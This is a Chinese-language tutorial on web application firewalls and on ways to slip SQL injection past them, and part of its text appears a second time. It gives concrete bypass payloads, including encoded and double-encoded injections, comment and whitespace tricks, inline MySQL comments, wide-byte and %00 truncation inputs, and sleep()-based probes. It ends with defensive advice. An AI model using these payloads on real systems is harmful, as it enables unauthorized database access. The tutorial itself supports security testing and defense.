WAF机制及绕过方法总结:注入篇
字数 1835 2025-08-15 21:30:23

WAF机制及SQL注入绕过方法详解

一、WAF基础概念

1. WAF定义

Web应用防火墙(Web Application Firewall)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF集成检测规则,对请求内容进行检测并对不符合安全规则的请求作出防御处理。

2. WAF工作原理

WAF处理流程分为四个部分:

  1. 预处理:判断请求类型,检查URL白名单
  2. 规则检测:匹配内置检测规则体系
  3. 处理模块:执行阻断、记录或告警动作
  4. 日志记录:记录拦截处理日志

3. WAF分类

  • 软WAF:软件形式安装(如安全狗、云锁、D盾)
  • 硬WAF:硬件设备形式(如Imperva、天清WAG)
  • 云WAF:云端服务(如阿里云云盾、腾讯云WAF)
  • 自定义WAF:开发人员自写的防护规则

4. WAF部署方式

  1. 透明网桥
  2. 反向代理
  3. 镜像流量
  4. 路由代理

二、SQL注入WAF绕过技术

1. 编码绕过

前提:参数在进入查询前有解码操作

  • URL编码绕过

    $id = urldecode($id); // 解码操作
    

    示例:%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32

  • 二次URL编码绕过
    示例:%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32

  • 其他编码:Unicode、Base64、Hex、ASCII等

2. 大小写转换

部分WAF只过滤全大写或全小写关键字:

  • sleepsleeP/slEEp
  • SELECTSeLeCt

3. 空格过滤绕过

  • 空白符替换

    • MySQL:%09,%0A,%0B,%0C,%0D,%A0
    • MSSQL:%01-%20
  • 符号替换

    • +号:1'+and+sleep(3)
    • 注释符:/**/1'/**/and/**/sleep(3)

4. 双关键字绕过

WAF只过滤一次关键字:

  • SLEsleepEP → 过滤后变为sleep
  • UNunionION → 过滤后变为UNION

5. 内联注释绕过

MySQL特有语法:

/*!50001sleep(3)*/  // 50001表示MySQL版本>=5.00.01时执行

6. 请求方式差异

  • GET方法被拦截 → 尝试POST方法
  • 常规方法被拦截 → 尝试非常规HTTP方法(DigApis等)

7. 超大数据包

添加大量无用参数使内容超过WAF检测限制:

?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

8. 复参数绕过

WAF可能只处理第一个参数值:

?id=1&id=2+and+sleep(3)  // 后端取最后一个id值

9. 添加%绕过

IIS的asp.dll会过滤%字符:

union s%e%lect → 解码后变为 union select

10. 协议未覆盖

尝试不同Content-Type:

  • multipart/form-data
  • application/x-www-form-urlencoded
  • text/xml
  • application/json

11. 宽字节注入(GBK编码)

%df%27 → 转义为 %df%5c%27 → 识别为宽字节+单引号

12. %00截断

WAF遇到%00可能停止检测:

?a=1%00.&id=1and sleep(3)

13. 非标准注入点

  • Cookie注入
  • X-Forwarded-For头注入

14. pipline绕过

利用keep-alive连接:

  1. 关闭Content-Length自动更新
  2. 修改Connection为keep-alive
  3. 在正常请求后附加攻击请求

15. 分块编码传输

设置Transfer-Encoding: chunked

16. 冷门函数/运算符

  • floor()updatexml(),extractvalue()
  • substring()mid(),substr(),lpad(),rpad(),left()
  • sleep()benchmark()
  • and/orlike

三、防御建议

  1. 多层次防御:不应仅依赖WAF,应在代码层面修复漏洞
  2. 规则更新:及时更新WAF规则库
  3. 输入验证:严格验证所有输入参数
  4. 输出编码:对输出数据进行适当编码
  5. 最小权限:数据库连接使用最小权限账户
  6. 错误处理:避免显示详细错误信息

四、总结

实际WAF绕过需要结合多种技术:

  1. 分析WAF检测规则
  2. 手工测试与fuzzing结合
  3. 多种方法组合使用
  4. 持续更新绕过技术库

通过理解WAF工作原理和检测机制,可以更有效地进行安全测试和防御加固。

WAF机制及SQL注入绕过方法详解 一、WAF基础概念 1. WAF定义 Web应用防火墙(Web Application Firewall)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF集成检测规则,对请求内容进行检测并对不符合安全规则的请求作出防御处理。 2. WAF工作原理 WAF处理流程分为四个部分: 预处理 :判断请求类型,检查URL白名单 规则检测 :匹配内置检测规则体系 处理模块 :执行阻断、记录或告警动作 日志记录 :记录拦截处理日志 3. WAF分类 软WAF :软件形式安装(如安全狗、云锁、D盾) 硬WAF :硬件设备形式(如Imperva、天清WAG) 云WAF :云端服务(如阿里云云盾、腾讯云WAF) 自定义WAF :开发人员自写的防护规则 4. WAF部署方式 透明网桥 反向代理 镜像流量 路由代理 二、SQL注入WAF绕过技术 1. 编码绕过 前提 :参数在进入查询前有解码操作 URL编码绕过 : 示例: %31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32 二次URL编码绕过 : 示例: %25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32 其他编码 :Unicode、Base64、Hex、ASCII等 2. 大小写转换 部分WAF只过滤全大写或全小写关键字: sleep → sleeP / slEEp SELECT → SeLeCt 3. 空格过滤绕过 空白符替换 : MySQL: %09 , %0A , %0B , %0C , %0D , %A0 MSSQL: %01 - %20 符号替换 : + 号: 1'+and+sleep(3) 注释符: /**/ → 1'/**/and/**/sleep(3) 4. 双关键字绕过 WAF只过滤一次关键字: SLEsleepEP → 过滤后变为 sleep UNunionION → 过滤后变为 UNION 5. 内联注释绕过 MySQL特有语法: 6. 请求方式差异 GET方法被拦截 → 尝试POST方法 常规方法被拦截 → 尝试非常规HTTP方法(DigApis等) 7. 超大数据包 添加大量无用参数使内容超过WAF检测限制: 8. 复参数绕过 WAF可能只处理第一个参数值: 9. 添加%绕过 IIS的asp.dll会过滤%字符: 10. 协议未覆盖 尝试不同Content-Type: multipart/form-data application/x-www-form-urlencoded text/xml application/json 11. 宽字节注入(GBK编码) 12. %00截断 WAF遇到%00可能停止检测: 13. 非标准注入点 Cookie注入 X-Forwarded-For头注入 14. pipline绕过 利用keep-alive连接: 关闭Content-Length自动更新 修改Connection为keep-alive 在正常请求后附加攻击请求 15. 分块编码传输 设置Transfer-Encoding: chunked 16. 冷门函数/运算符 floor() → updatexml() , extractvalue() substring() → mid() , substr() , lpad() , rpad() , left() sleep() → benchmark() and / or → like 三、防御建议 多层次防御 :不应仅依赖WAF,应在代码层面修复漏洞 规则更新 :及时更新WAF规则库 输入验证 :严格验证所有输入参数 输出编码 :对输出数据进行适当编码 最小权限 :数据库连接使用最小权限账户 错误处理 :避免显示详细错误信息 四、总结 实际WAF绕过需要结合多种技术: 分析WAF检测规则 手工测试与fuzzing结合 多种方法组合使用 持续更新绕过技术库 通过理解WAF工作原理和检测机制,可以更有效地进行安全测试和防御加固。